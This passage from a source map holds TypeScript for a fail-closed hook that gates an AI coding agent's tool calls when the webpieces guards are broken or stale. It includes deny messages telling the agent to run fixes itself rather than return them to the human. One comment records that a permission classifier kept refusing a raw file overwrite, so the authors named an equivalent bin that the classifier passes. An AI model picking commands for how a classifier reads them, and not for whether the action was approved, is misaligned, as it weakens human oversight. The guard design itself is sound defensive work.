ERR_FILE=\"\\${TMPDIR:-/tmp}/wp-ai-hook-err.\\$\\$\"\n printf '%s' \"\\$PAYLOAD\" | \"\\$BIN\" \"\\$@\" >\"\\$OUT_FILE\" 2>\"\\$ERR_FILE\"\n RC=\\$?\n if [ \"\\$RC\" = 0 ] || [ \"\\$RC\" = 2 ]; then\n cat \"\\$OUT_FILE\" # the guard's real decision — verbatim\n cat \"\\$ERR_FILE\" >&2\n rm -f \"\\$OUT_FILE\" \"\\$ERR_FILE\" 2>/dev/null\n exit \"\\$RC\"\n fi\n # Crashed. Keep the most useful stderr line for the human. Strip \" and backslash so the text stays a\n # valid JSON string, and cap the length so a giant node stack cannot blow up the deny payload.\n CRASH_MSG=\"\\$(grep -m1 'Cannot find module' \"\\$ERR_FILE\" 2>/dev/null | tr -d '\"\\\\\\\\' | cut -c1-120)\"\n [ -n \"\\$CRASH_MSG\" ] || CRASH_MSG=\"\\$(head -n1 \"\\$ERR_FILE\" 2>/dev/null | tr -d '\"\\\\\\\\' | cut -c1-120)\"\n [ -n \"\\$CRASH_MSG\" ] || CRASH_MSG=\"exit code \\$RC, no stderr\"\n rm -f \"\\$OUT_FILE\" \"\\$ERR_FILE\" 2>/dev/null\n BROKEN_BIN=1\nfi`;\n\n// Shell fragment: the guards are DOWN (missing | stale | crashed). Parse the payload, audit-log the\n// decision, and let ONLY the install/recovery commands through — everything else falls to the deny below.\nconst TRIAGE_SH = `CMD=\"\\$(printf '%s' \"\\$PAYLOAD\" | sed -n 's/.*\"command\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\nTOOL=\"\\$(printf '%s' \"\\$PAYLOAD\" | sed -n 's/.*\"tool_name\"[[:space:]]*:[[:space:]]*\"\\\\([^\"\\\\\\\\]*\\\\)\".*/\\\\1/p')\"\n# Best-effort audit trail of every decision the fail-closed shim makes WHILE THE GUARDS ARE DOWN, so a\n# human can inspect after something odd (an install that was denied, or one that slipped through). One\n# tab-separated line per call → <root>/.webpieces/logs/ai-hook-shim.log (gitignored). NEVER breaks or\n# blocks the hook: all writes are best-effort (|| true) and go to a file, never to stdout (stdout is\n# the PreToolUse decision channel — a stray byte there would corrupt allow/deny).\nLOG_DIR=\"\\$ROOT/.webpieces/logs\"\nwp_log() { # \\$1 = decision label (ALLOW-INSTALL | DENY | DENY-STALE | DENY-BROKEN)\n { mkdir -p \"\\$LOG_DIR\" 2>/dev/null && printf '%s\\\\t%s\\\\t%s\\\\t%s\\\\t%s\\\\n' \"\\$(date '+%Y-%m-%dT%H:%M:%S%z' 2>/dev/null)\" \"\\$BIN_NAME\" \"\\$TOOL\" \"\\$1\" \"\\$CMD\" >> \"\\$LOG_DIR/ai-hook-shim.log\"; } 2>/dev/null || true\n}\nDENY_LABEL=\"DENY\"\n[ -n \"\\$DRIFT_PKG\" ] && DENY_LABEL=\"DENY-STALE\" # version drift, not a missing bin\n[ -n \"\\$SHIM_STALE\" ] && DENY_LABEL=\"DENY-SHIM-STALE\" # committed shim reverted/edited (self-guard)\n[ -n \"\\$BROKEN_BIN\" ] && DENY_LABEL=\"DENY-BROKEN\" # bin present but CRASHED (corrupt node_modules)\nif printf '%s' \"\\$CMD\" | grep -Eq '${INSTALLER_ALLOW_ERE}' || printf '%s' \"\\$CMD\" | grep -Eq '${RECOVERY_ALLOW_ERE}'; then\n wp_log ALLOW-INSTALL # record the self-heal we let through (re-enables the guards)\n exit 0 # allow the installer/recovery so the assistant can break the deadlock\nfi\n# Always let the shim-regen cure through: wp-upgrade-shim rewrites the committed shim from the installed\n# template, so it is the ONLY fix for a self-guard block — denying it would deadlock the assistant.\nif printf '%s' \"\\$CMD\" | grep -Eq '${UPGRADE_SHIM_ALLOW_ERE}'; then\n wp_log ALLOW-UPGRADE-SHIM # record the shim regen we let through (re-arms the committed shim)\n exit 0\nfi\n# Same cure, without the version coupling: copying templates/ai-hook.sh over the committed shim is what\n# we now TELL the reader to run (the bin only exists in >= 0.4.408), so it must be allowed or the deny\n# names a command it then blocks. Both paths are literal and webpieces-owned - nothing else can be hit.\nif printf '%s' \"\\$CMD\" | grep -Eq '${RESTORE_SHIM_ALLOW_ERE}'; then\n wp_log ALLOW-RESTORE-SHIM # record the template copy we let through (re-arms the committed shim)\n exit 0\nfi\n# DRIFT ONLY: let the git sync commands through. When the PIN is the stale side (a checkout behind\n# origin), 'pnpm install' DOWNGRADES and 'git pull' is the only cure — denying it deadlocks the\n# assistant against its own fix. Pointless for a missing/broken bin, so it stays gated on drift.\nif [ -n \"\\$DRIFT_PKG\" ] && printf '%s' \"\\$CMD\" | grep -Eq '${SYNC_ALLOW_ERE}'; then\n wp_log ALLOW-SYNC # record the git sync we let through (may be what re-syncs the pin)\n exit 0\nfi\nwp_log \"\\$DENY_LABEL\" # every fail-closed block (…-STALE = drift, …-BROKEN = crash) for inspection`;\n\n// Shell fragment: emit the deny. FAIL CLOSED via Claude Code's PreToolUse JSON protocol\n// (permissionDecision \"deny\" on stdout, then exit 0) rather than a bare \"exit 2\". BOTH block the call,\n// but the reason must be made VISIBLE, and HOW depends on the tool (verified by live tests; the docs\n// are wrong here):\n// - Bash deny: permissionDecisionReason is NOT shown to the human — ONLY a top-level systemMessage\n// is, and it honors ANSI. So for Bash we emit systemMessage wrapped in ANSI red so the\n// recovery command is visible (without it, on Bash, it is invisible).\n// - Write/Edit/MultiEdit deny: permissionDecisionReason renders as a RED \"Error:\" block natively —\n// no systemMessage needed (a second line would be redundant).\n// - NEVER exit 2 (stdout JSON ignored; stderr not reliably shown on a blocked Bash call).\n// The ESC is emitted as the literal 6-char JSON escape \\\\u001b (built via ${BS} so no raw ESC byte and\n// no \\\\uXXXX sits in this source); Claude Code's JSON parser turns \\\\u001b into ESC. The reason is a\n// single JSON string with no double-quotes/backslashes, so it stays valid JSON after ${BIN_NAME} subs.\nconst DENY_EMIT_SH = `if [ \"\\$TOOL\" = \"Bash\" ]; then\n BS='\\\\' # one literal backslash, so the \\\\u001b escape never sits in this source\n ESC=\"\\${BS}u001b\" # the 6 chars: backslash u 0 0 1 b — Claude Code parses \\\\u001b → ESC\n printf '{\"systemMessage\":\"%s🛑 %s%s\",\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\${ESC}[31;1m\" \"\\$REASON\" \"\\${ESC}[0m\" \"\\$REASON\"\nelse\n printf '{\"hookSpecificOutput\":{\"hookEventName\":\"PreToolUse\",\"permissionDecision\":\"deny\",\"permissionDecisionReason\":\"%s\"}}\\\\n' \"\\$REASON\"\nfi\nexit 0 # decision is carried by permissionDecision \"deny\", not the exit code`;\n\n// Shell fragment: pick the fail-closed deny REASON — a crashed-bin message (corrupt node_modules) vs a\n// version-drift message (bin present but stale) vs the missing-bin message. Extracted alongside\n// VERSION_DRIFT_GUARD_SH / RUN_BIN_SH to keep renderShim() within the method-line budget.\nconst DENY_REASON_SH = `if [ -n \"\\$BROKEN_BIN\" ]; then\n # Report (do NOT auto-clean) the orphaned pnpm staging dirs — a package pnpm was mid-way through\n # writing is left behind as <name>_<pid>_<hash>. Their presence is the fingerprint of an install that\n # was killed, which is what corrupts node_modules in the first place. Best-effort; never fatal.\n STAGING_N=\"\\$(ls \"\\$ROOT/node_modules\" 2>/dev/null | grep -Ec '_[0-9a-f]+_[0-9a-f]+\\$' || true)\"\n STAGING_NOTE=\"\"\n if [ \"\\${STAGING_N:-0}\" -gt 0 ] 2>/dev/null; then\n STAGING_NOTE=\" Also found \\$STAGING_N orphaned pnpm staging dirs (name_pid_hash) under node_modules - the fingerprint of an install that was killed mid-write.\"\n fi\n REASON=\"❌ webpieces guards are DOWN and every tool call is BLOCKED: \\${BIN_NAME} is installed but CRASHED (\\$CRASH_MSG). Your node_modules is corrupt or partially written, so the guards cannot run - and they must NOT be silently skipped. NOTE: a plain 'pnpm install' will NOT fix this; pnpm sees the correct version on disk and skips the broken package. Run exactly this, then retry: ${RECOVERY_CMD} - it is explicitly ALLOWED through while this guard is up (not a deadlock), so run it YOURSELF rather than handing it to the human.\\${STAGING_NOTE}\"\nelif [ -n \"\\$SHIM_STALE\" ]; then\n # The committed shim differs from the installed template — reverted or hand-edited. State plainly that\n # this file is webpieces-MANAGED so the reader does not \"fix\" it by reverting again, and name the ONE\n # allowlisted command that re-arms it.\n # DO NOT NAME THE cp HERE (reverted 2026-07-21, the same day it was added). The cp is version-agnostic,\n # which is why it was promoted to the headline cure — but webpieces' allowlist is not the only gate in\n # front of the assistant. Claude Code's own permission classifier sees a raw cp overwriting a file in\n # the repo and denies it, so the deny named a command that a DIFFERENT gate then blocked, and the\n # assistant read the second denial as proof the block was unfixable. Observed live: the classifier\n # refused the cp repeatedly and let pnpm exec wp-upgrade-shim straight through, because a named bin\n # reads as a tool invocation rather than an arbitrary file overwrite. So name ONLY the bin.\n # The cost is legacy repos on < 0.4.408, where that bin does not exist; they stay bumpy until they\n # upgrade once, and the message tells them so instead of pretending a cp will get through.\n # (RESTORE_SHIM_ALLOW_ERE stays in the allowlist — a HUMAN running the cp must still work.)\n #\n # SAY THAT THE CURE IS ALLOWED THROUGH (2026-07-21, part 1): the text asserted a flat \"every tool call\n # is blocked\" and then named a command to run — so the reader reasonably concluded the guard would\n # block its own fix too, never tried it, and handed the \"deadlock\" to the human. The cure IS\n # allowlisted (see RESTORE_SHIM_ALLOW_ERE / UPGRADE_SHIM_ALLOW_ERE above); the message just never said\n # so. The drift branch below has always named its allowed cure in plain words and has never produced\n # that failure — so state it here the same way.\n SHIM_VER_NOTE=\"\"\n [ -n \"\\$SHIM_TPL_VER\" ] && SHIM_VER_NOTE=\" (installed version \\$SHIM_TPL_VER)\"\n REASON=\"❌ webpieces-managed file was changed: .claude/webpieces/ai-hook.sh no longer matches the ai-hook.sh template shipped inside the INSTALLED @webpieces/ai-hook-rules\\${SHIM_VER_NOTE} (it was reverted or hand-edited). This file is GENERATED and committed by webpieces - it must NOT be reverted or edited by hand, and its fail-closed guard logic cannot be trusted while it differs. Every OTHER tool call is blocked until the two files are byte-identical again. Run EXACTLY this to rewrite the shim from the installed webpieces\\${SHIM_VER_NOTE} template, then retry: ${UPGRADE_SHIM_CMD} - that is the whole fix. THIS IS NOT A DEADLOCK: it is explicitly ALLOWED through while this guard is up, so run it YOURSELF now - do not hand it back to the human. (Command not found? Your installed @webpieces/ai-hook-rules predates 0.4.408, which is older than this guard's cure - ask the human to restore the shim or upgrade webpieces. Do NOT revert the shim again - if you meant to remove @webpieces/ai-hook-rules, delete its hooks from .claude/settings.json instead.)\"\nelif [ -n \"\\$DRIFT_PKG\" ]; then\n # The 'how do I get current' half comes from SyncFlowGuidance so it cannot contradict the guards.\n # It used to name 'git merge --ff-only origin/main' and assert that merge is allowed while this guard\n # is up — the ONE command redirect-how-to-merge-main blocks in every form. An AI that obeyed the\n # drift message got hard-blocked by the other guard with no path forward, which is how improvised\n # 'git reset --hard' workarounds get invented. (NOTE: the shim's SYNC allowlist does let merge\n # through here, because the guards are DOWN — that is exactly why the text must not recommend it.)\n #\n # State the two versions and let the reader judge which is stale — do NOT assert a direction. The\n # check is a plain !=, so it fires BOTH ways, and the old text always claimed node_modules was the\n # older side. When it is actually the NEWER side (a checkout behind origin), that text sent people\n # to 'pnpm install', which DOWNGRADES them further from correct.\n REASON=\"❌ webpieces version drift: package.json pins \\$DRIFT_PKG@\\$DRIFT_DECLARED but node_modules has \\$DRIFT_INSTALLED. Every call is blocked until they agree. WHICH ONE IS STALE decides the fix - compare the two versions above: (1) pin is NEWER than node_modules (you just pulled/switched to a branch pinning a newer webpieces) -> run 'pnpm install' to catch node_modules up. (2) pin is OLDER than node_modules (your checkout is behind origin, so the PIN is the stale side) -> 'pnpm install' would DOWNGRADE you: get the checkout current FIRST, THEN 'pnpm install'. ${new SyncFlowGuidance().updateMainAdvice()} git pull and git fetch are allowed while this guard is up and are the cure here. Do not reach for git merge: this guard lets it through only because the guards are DOWN, and the moment they come back redirect-how-to-merge-main blocks it in every form.\"\nelse\n # A LINKED WORKTREE is the overwhelmingly common way to land here with a perfectly healthy repo:\n # git gives the new worktree a .git FILE (the primary clone has a .git directory) and copies no\n # node_modules, so the very first tool call in a brand-new worktree fail-closes on a missing bin.\n # Naming that explicitly turns a baffling \"not installed\" into a one-command fix, and the HERE is\n # load-bearing: installing in the primary clone does nothing for this tree.\n WORKTREE_NOTE=\"\"\n if [ -f \"\\$ROOT/.git\" ]; then\n WORKTREE_NOTE=\" NOTE: \\$ROOT is a LINKED WORKTREE - git does not copy node_modules into a new worktree, so this is expected on a fresh one. Run 'pnpm install' HERE (in this worktree), not in the primary clone.\"\n fi\n REASON=\"❌ @webpieces/ai-hook-rules is declared in package.json but is not installed (\\${BIN_NAME} not found). Run 'pnpm install' (or this repo's installer) to enable the webpieces AI guards, then retry.\\${WORKTREE_NOTE} (If you removed @webpieces/ai-hook-rules on purpose, delete its hooks from .claude/settings.json.)\"\nfi`;\n\nexport function renderShim(): string {\n return `#!/bin/sh\n# webpieces shim version: ${SHIM_VERSION_STAMP}\n# Managed by @webpieces/ai-hook-rules (wp-install-ai-hooks) — do not edit; the installer AND the running\n# guards binary both overwrite this file (self-healing) from renderShim(). Checked in on purpose so the\n# hook has a stable, committed entry point even when node_modules is absent. Safe to delete along with\n# the matching .claude/settings.json entries if you remove @webpieces/ai-hook-rules.\n#\n# Usage (wired into .claude/settings.json): sh \"$CLAUDE_PROJECT_DIR/.claude/webpieces/ai-hook.sh\" <bin-name>\nBIN_NAME=\"$1\"\nshift\n# Resolve the bin relative to THIS script (…/<root>/.claude/webpieces/ai-hook.sh → <root>), not the\n# caller's cwd — the hook can be invoked from any directory (a subdir, or a nested clone).\nROOT=\"$(CDPATH= cd -- \"$(dirname -- \"$0\")/../..\" && pwd)\"\nBIN=\"$ROOT/node_modules/.bin/$BIN_NAME\"\n${VERSION_DRIFT_GUARD_SH}\n# Read the tool payload ONCE, up front. The shim no longer exec's the bin (see RUN_BIN_SH), so it must\n# forward stdin to the bin itself — and it needs the payload again on the fail-closed path below.\nPAYLOAD=\"$(cat)\"\nBROKEN_BIN=\"\"\nCRASH_MSG=\"\"\n${RUN_BIN_SH}\n# Bin missing (fresh clone before install) OR a version drift (stale node_modules) OR the bin is\n# installed but CRASHED (corrupt node_modules). The webpieces guards CANNOT safely run.\n# Before failing closed, peek at the tool payload and let ONLY package-manager install/recovery commands\n# through: the assistant's own Bash tool routes through this hook too, so blocking everything would\n# deadlock the very commands (pnpm install / rm -rf node_modules && pnpm install) that re-enable the\n# guards. A silent exit 0 = \"allow\" in the PreToolUse protocol; the guards resume once the tree is sane.\n${TRIAGE_SH}\n${DENY_REASON_SH}\n${DENY_EMIT_SH}\n`;\n}\n\n// Find the repo root that owns the committed shim to heal: walk up from `cwd` (the invocation's\n// actual dir) to the nearest ancestor holding a shim, falling back to $CLAUDE_PROJECT_DIR (which\n// Claude Code exports to hooks) only if the walk finds nothing. cwd-first keeps this correct for a\n// nested clone and testable (a temp root is honoured over the ambient project env). Returns null when\n// no committed shim exists (e.g. a global / absolute install, which has none to heal).\n//\n// Exported for install-entry.ts: on a CORRUPT node_modules, healShim is the only installer step that\n// can still run, so the installer must be able to tell the human whether a committed shim was actually\n// there to re-arm. Pure existsSync walk — never throws, so it needs no try/catch of its own.\n// webpieces-disable no-function-outside-class -- pure fs+path helper in the dependency-free shim module; it must not depend on DI (install-entry.ts relies on this loading on a corrupt tree).\nexport function findShimRoot(cwd: string): string | null {\n let dir = cwd;\n for (;;) {\n if (fs.existsSync(shimPath(dir))) return dir;\n const parent = path.dirname(dir);\n if (parent === dir) break;\n dir = parent;\n }\n const env = process.env['CLAUDE_PROJECT_DIR'];\n if (env && fs.existsSync(shimPath(env))) return env;\n return null;\n}\n\n// Best-effort: keep the committed shim identical to renderShim() so the fail-closed escape hatch and\n// allowlist never drift. Only rewrites an EXISTING shim (never creates one) so global installs are\n// untouched. NEVER throws — a self-heal must never block or crash a tool call.\nexport function healShim(cwd: string): void {\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const root = findShimRoot(cwd);\n if (!root) return;\n const target = shimPath(root);\n const desired = renderShim();\n if (fs.readFileSync(target, 'utf8') === desired) return;\n fs.writeFileSync(target, desired, { mode: 0o755 });\n fs.chmodSync(target, 0o755);\n } catch (err: unknown) {\n //const error = toError(err);\n // Ignore: healing is a convenience, not part of the guard decision.\n }\n}\n"]}
|
|
1
|
+
{"version":3,"file":"shim.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/bin/shim.ts"],"names":[],"mappings":"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